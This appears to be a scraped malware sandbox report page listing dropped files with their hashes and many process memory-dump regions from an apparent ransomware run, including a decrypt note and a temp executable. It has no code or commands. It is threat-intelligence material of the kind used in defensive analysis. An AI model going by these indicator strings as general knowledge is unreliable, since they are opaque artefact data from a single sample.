C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML

Filesize
9KB

MD5
7050d5ae8acfbe560fa11073fef8185d

SHA1
5bc38e77ff06785fe0aec5a345c4ccd15752560e

SHA256
cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b

SHA512
a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_znavypyy.rae.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe

Filesize
5KB

MD5
f9e42c92e371cedc22c78e2900418651

SHA1
3e99ba4a4a007d2ad1cfa6e3fda91b01a710839d

SHA256
f340bf91627787a2770c897aa9555bb82382cdcc2232904b5707238ab0a85e39

SHA512
7ca0a18f7ae83f0d11d8b33ddca579fb5e5629b5255eebf28b2e256a0b4449f4dee5bdff2ef6f9e1af323a04111a688d9251629ddecb046746978f94d469de05

Download Submit
C:\Users\Admin\AppData\Local\Temp\jplmbcuny

Filesize
4KB

MD5
0dbceb0fc7bcb589c214a5cbdf34b95b

SHA1
e7f948a31c2ce8ac25cce1169654435cec455bef

SHA256
7a5c8835a40792321f57502a295e3972d2b1b1288ae9bd2e8899169a67941097

SHA512
7be085588931f5ca5fe9622e6b758eb5da6dbd683732814e1c570e113b0d144088dbfe52f3c5116619a4df97b45b8d5804581bb807e0725b353520cc4b2432da

Download Submit
C:\Users\Admin\AppData\Local\Temp\jurqlvqzsu80j5x5

Filesize
103KB

MD5
d36bfa103f3793806490cc1e20ceb429

SHA1
9ffc447f3faf0bd6047af095650237c6be04cc5e

SHA256
098b0f7a8e149f3f30525c7d956324bdef23f43648ad136ed21b393f21e64f99

SHA512
7662f73f06600360f83af60bdf9b8be37e8eca9702b804161df59697f26c3f14679dce7c9c0f24a49aadced618a1885b690df8477768068b5f4f2182fde4c7cb

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1024_600_POS4.jpg

Filesize
117KB

MD5
d05e8178b7dbda9c8586100564429a0d

SHA1
f656dea02df08e5a1391cd46f37e870a8e322d92

SHA256
5ab0d00891a8913037eba10bce2958580167df888220d70c29483b35ff8909fe

SHA512
a7f4819696ede160f25cb288072208f8e98504250acba62a4a222ecc931ee8efd76b5b20e2dc8bab6aa0d11c8a75c1848fc68009cfe8609d417960be25d61cc3

Download Submit
F:\$RECYCLE.BIN\S-1-5-21-2412658365-3084825385-3340777666-1000\CAEFINVQL-DECRYPT.txt

Filesize
8KB

MD5
3306d0d8cb3f85d4a4be1cada7b98caa

SHA1
855c461d64a606bd98bbb233ac7bf9c83a18bd82

SHA256
ca9d378a0fbebaa9931048b8b53bea639ced04ca8d20b79eadc186ba7761738c

SHA512
23929c0623aa6c4a9fb27b3e09ebe4a68a4c94bc150fdcc1a7cda001c8411f85865b48881e4aae9571d201814fbcf671f0ee58af5686a5e1e1f5abc5dc25d169

Download Submit
\??\c:\zh.xs

Filesize
37B

MD5
e1716c5ad1077780f8698d36177aad03

SHA1
4d4edeb0e728917e0ef925a164ac8cfcd05a5071

SHA256
a34ed34917197f063e97eb47326273c15de25012870c0f27836456d4db0cf529

SHA512
7025026ac2141adf4856064b28f6072b13ae6874d7918323b693ca6b730de32e14120af5d222bc621710df004112c8d18e70ec707ab6fafe5520cc51dcc7bddf

Download Submit
memory/316-362-0x0000000004FB0000-0x0000000005016000-memory.dmp

Filesize
408KB

Download
memory/316-54-0x00000000006E0000-0x0000000000712000-memory.dmp

Filesize
200KB

Download
memory/448-431-0x0000000008A30000-0x0000000008A48000-memory.dmp

Filesize
96KB

Download
memory/448-1979-0x0000000008A50000-0x0000000008A82000-memory.dmp

Filesize
200KB

Download
memory/448-315-0x00000000003B0000-0x000000000044A000-memory.dmp

Filesize
616KB

Download
memory/448-1950-0x0000000009F40000-0x0000000009FB4000-memory.dmp

Filesize
464KB

Download
memory/556-125-0x0000000000E80000-0x0000000000F56000-memory.dmp

Filesize
856KB

Download
memory/864-433-0x0000000002810000-0x000000000281C000-memory.dmp

Filesize
48KB

Download
memory/864-415-0x0000000000EB0000-0x0000000000EBE000-memory.dmp

Filesize
56KB

Download
memory/864-1488-0x000000001CE20000-0x000000001CE8B000-memory.dmp

Filesize
428KB

Download
memory/864-182-0x0000000000600000-0x00000000006DC000-memory.dmp

Filesize
880KB

Download
memory/864-1487-0x000000001C870000-0x000000001C919000-memory.dmp

Filesize
676KB

Download
memory/864-2098-0x000000001C870000-0x000000001C919000-memory.dmp

Filesize
676KB

Download
memory/864-2099-0x000000001CE20000-0x000000001CE8B000-memory.dmp

Filesize
428KB

Download
memory/864-291-0x000000001B600000-0x000000001B784000-memory.dmp

Filesize
1.5MB

Download
memory/864-183-0x0000000000E60000-0x0000000000E66000-memory.dmp

Filesize
24KB

Download
memory/864-425-0x0000000000ED0000-0x0000000000EDE000-memory.dmp

Filesize
56KB

Download
memory/864-300-0x0000000000E70000-0x0000000000E76000-memory.dmp

Filesize
24KB

Download
memory/896-492-0x0000000000400000-0x000000000048A000-memory.dmp

Filesize
552KB

Download
memory/896-1562-0x0000000000400000-0x000000000048A000-memory.dmp

Filesize
552KB

Download
memory/896-491-0x0000000000400000-0x000000000048A000-memory.dmp

Filesize
552KB

Download
memory/896-1486-0x0000000000400000-0x000000000048A000-memory.dmp

Filesize
552KB

Download
memory/896-1690-0x0000000000400000-0x000000000048A000-memory.dmp

Filesize
552KB

Download
memory/896-2131-0x0000000000400000-0x000000000048A000-memory.dmp

Filesize
552KB

Download
memory/896-1733-0x0000000000400000-0x000000000048A000-memory.dmp

Filesize
552KB

Download
memory/896-141-0x0000000000400000-0x000000000048A000-memory.dmp

Filesize
552KB

Download
memory/1104-1462-0x00000000063E0000-0x00000000063FA000-memory.dmp

Filesize
104KB

Download
memory/1104-1489-0x00000000083C0000-0x0000000008A3A000-memory.dmp

Filesize
6.5MB

Download
memory/1104-422-0x0000000005920000-0x0000000005C74000-memory.dmp

Filesize
3.3MB

Download
memory/1104-1463-0x0000000006430000-0x0000000006452000-memory.dmp

Filesize
136KB

Download
memory/1104-1061-0x0000000006560000-0x00000000065AC000-memory.dmp

Filesize
304KB

Download
memory/1104-965-0x0000000005EE0000-0x0000000005EFE000-memory.dmp

Filesize
120KB

Download
memory/1104-305-0x0000000005210000-0x0000000005838000-memory.dmp

Filesize
6.2MB

Download
memory/1104-304-0x0000000002950000-0x0000000002986000-memory.dmp

Filesize
216KB

Download
memory/1104-1461-0x0000000007140000-0x00000000071D6000-memory.dmp

Filesize
600KB

Download
memory/1104-416-0x0000000005170000-0x0000000005192000-memory.dmp

Filesize
136KB

Download
memory/1104-417-0x0000000005840000-0x00000000058A6000-memory.dmp

Filesize
408KB

Download
memory/1240-238-0x0000000000400000-0x000000000046A000-memory.dmp

Filesize
424KB

Download
memory/1268-1897-0x0000000004750000-0x0000000004760000-memory.dmp

Filesize
64KB

Download
memory/1268-1682-0x0000000004750000-0x0000000004760000-memory.dmp

Filesize
64KB

Download
memory/1268-1681-0x0000000004750000-0x0000000004760000-memory.dmp

Filesize
64KB

Download
memory/1268-1680-0x0000000004750000-0x0000000004760000-memory.dmp

Filesize
64KB

Download
memory/1268-1679-0x0000000004750000-0x0000000004760000-memory.dmp

Filesize
64KB

Download
memory/1268-1898-0x0000000004750000-0x0000000004760000-memory.dmp

Filesize
64KB

Download
memory/1536-385-0x000000001CC90000-0x000000001CCA8000-memory.dmp

Filesize
96KB

Download
memory/1536-352-0x000000001BD90000-0x000000001BD9E000-memory.dmp

Filesize
56KB

Download
memory/1536-307-0x0000000003290000-0x000000000329E000-memory.dmp

Filesize
56KB

Download
memory/1536-489-0x000000001D840000-0x000000001D8E9000-memory.dmp

Filesize
676KB

Download
memory/1536-341-0x000000001BD80000-0x000000001BD90000-memory.dmp

Filesize
64KB

Download
memory/1536-490-0x000000001D9F0000-0x000000001DA5B000-memory.dmp

Filesize
428KB

Download
memory/1536-298-0x0000000003430000-0x0000000003456000-memory.dmp

Filesize
152KB

Download
memory/1536-348-0x000000001D1A0000-0x000000001D6C8000-memory.dmp

Filesize
5.2MB

Download
memory/1536-374-0x000000001BF70000-0x000000001BF80000-memory.dmp

Filesize
64KB

Download
memory/1536-379-0x000000001BF80000-0x000000001BF8E000-memory.dmp

Filesize
56KB

Download
memory/1536-381-0x000000001BF90000-0x000000001BFA0000-memory.dmp

Filesize
64KB

Download
memory/1536-345-0x000000001BF30000-0x000000001BF46000-memory.dmp

Filesize
88KB

Download
memory/1536-387-0x000000001CC70000-0x000000001CC7C000-memory.dmp

Filesize
48KB

Download
memory/1536-78-0x0000000000E90000-0x00000000011C2000-memory.dmp

Filesize
3.2MB

Download
memory/1536-347-0x000000001BF50000-0x000000001BF62000-memory.dmp

Filesize
72KB

Download
memory/1536-314-0x000000001BD60000-0x000000001BD78000-memory.dmp

Filesize
96KB

Download
memory/1536-312-0x0000000003400000-0x0000000003410000-memory.dmp

Filesize
64KB

Download
memory/1536-309-0x0000000003460000-0x000000000347C000-memory.dmp

Filesize
112KB

Download
memory/1536-325-0x0000000003420000-0x0000000003430000-memory.dmp

Filesize
64KB

Download
memory/1536-320-0x0000000003410000-0x0000000003420000-memory.dmp

Filesize
64KB

Download
memory/1536-366-0x000000001BDA0000-0x000000001BDB0000-memory.dmp

Filesize
64KB

Download
memory/1536-377-0x000000001CCD0000-0x000000001CD2A000-memory.dmp

Filesize
360KB

Download
memory/1536-383-0x000000001BFA0000-0x000000001BFAE000-memory.dmp

Filesize
56KB

Download
memory/1536-339-0x000000001BE00000-0x000000001BE12000-memory.dmp

Filesize
72KB

Download
memory/1536-310-0x000000001BDB0000-0x000000001BE00000-memory.dmp

Filesize
320KB

Download
memory/1536-337-0x0000000003480000-0x000000000348E000-memory.dmp

Filesize
56KB

Download
memory/1776-173-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/1776-2273-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/2292-421-0x00000000754E0000-0x0000000075A91000-memory.dmp

Filesize
5.7MB

Download
memory/2292-21-0x00000000754E0000-0x0000000075A91000-memory.dmp

Filesize
5.7MB

Download
memory/2292-40-0x00000000754E0000-0x0000000075A91000-memory.dmp

Filesize
5.7MB

Download
memory/2292-35-0x00000000754E0000-0x0000000075A91000-memory.dmp

Filesize
5.7MB

Download
memory/2452-2274-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/2796-473-0x00007FFF2B1D3000-0x00007FFF2B1D5000-memory.dmp

Filesize
8KB

Download
memory/2796-43-0x00007FFF2B1D3000-0x00007FFF2B1D5000-memory.dmp

Filesize
8KB

Download
memory/2796-51-0x0000000000110000-0x00000000001E6000-memory.dmp

Filesize
856KB

Download
memory/2796-1677-0x000000001BBC0000-0x000000001BD69000-memory.dmp

Filesize
1.7MB

Download
memory/3200-277-0x00000000053B0000-0x00000000053BA000-memory.dmp

Filesize
40KB

Download
memory/3200-263-0x0000000005410000-0x00000000054A2000-memory.dmp

Filesize
584KB

Download
memory/3200-278-0x0000000005640000-0x0000000005696000-memory.dmp

Filesize
344KB

Download
memory/3200-247-0x0000000000830000-0x0000000000A44000-memory.dmp

Filesize
2.1MB

Download
memory/3200-248-0x00000000052D0000-0x000000000536C000-memory.dmp

Filesize
624KB

Download
memory/3200-262-0x0000000005920000-0x0000000005EC4000-memory.dmp

Filesize
5.6MB

Download
memory/3460-303-0x0000000000F10000-0x0000000000F1E000-memory.dmp

Filesize
56KB

Download
memory/3480-2-0x00000000754E0000-0x0000000075A91000-memory.dmp

Filesize
5.7MB

Download
memory/3480-1-0x00000000754E0000-0x0000000075A91000-memory.dmp

Filesize
5.7MB

Download
memory/3480-349-0x00000000754E0000-0x0000000075A91000-memory.dmp

Filesize
5.7MB

Download
memory/3480-0-0x00000000754E2000-0x00000000754E3000-memory.dmp

Filesize
4KB

Download
memory/3480-361-0x00000000754E0000-0x0000000075A91000-memory.dmp

Filesize
5.7MB

Download
memory/3480-292-0x00000000754E2000-0x00000000754E3000-memory.dmp

Filesize
4KB

Download
memory/3524-2239-0x0000000007D90000-0x0000000007EE4000-memory.dmp

Filesize
1.3MB

Download
memory/3540-142-0x00000000005C0000-0x00000000005EA000-memory.dmp

Filesize
168KB

Download
memory/3540-143-0x00000000005C0000-0x00000000005EA000-memory.dmp

Filesize
168KB

Download
memory/3580-212-0x0000000000080000-0x00000000000A0000-memory.dmp

Filesize
128KB

Download
memory/5332-1386-0x0000000004750000-0x0000000004760000-memory.dmp

Filesize
64KB

Download
memory/5332-551-0x0000000004750000-0x0000000004760000-memory.dmp

Filesize
64KB

Download
memory/5332-550-0x0000000004750000-0x0000000004760000-memory.dmp

Filesize
64KB

Download
memory/5332-1385-0x0000000004750000-0x0000000004760000-memory.dmp

Filesize
64KB

Download
memory/5332-501-0x0000000004750000-0x0000000004760000-memory.dmp

Filesize
64KB

Download
memory/5332-502-0x0000000004750000-0x0000000004760000-memory.dmp

Filesize
64KB

Download
memory/5728-2107-0x0000000000BD0000-0x0000000000BFB000-memory.dmp

Filesize
172KB

Download
memory/5728-2100-0x0000000000560000-0x0000000000566000-memory.dmp

Filesize
24KB

Download
memory/6020-1734-0x00000000003D0000-0x00000000003F8000-memory.dmp

Filesize
160KB

Download
memory/6020-1678-0x00000000003D0000-0x00000000003F8000-memory.dmp

Filesize
160KB

Download
memory/6020-1554-0x00000000003D0000-0x00000000003F8000-memory.dmp

Filesize
160KB

Download
memory/6020-470-0x00000000003D0000-0x00000000003F8000-memory.dmp

Filesize
160KB

Download
memory/6020-1469-0x00000000003D0000-0x00000000003F8000-memory.dmp

Filesize
160KB

Download
memory/6276-1980-0x0000000000400000-0x000000000042B000-memory.dmp

Filesize
172KB

Download
memory/6808-1448-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/6808-1451-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/6808-1449-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/6808-1445-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/6808-1446-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/6808-1447-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/7000-2161-0x000002161DD80000-0x000002161DDA2000-memory.dmp

Filesize
136KB

Download

Resubmissions

Analysis

Sharing

Errors

General

Malware Config

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads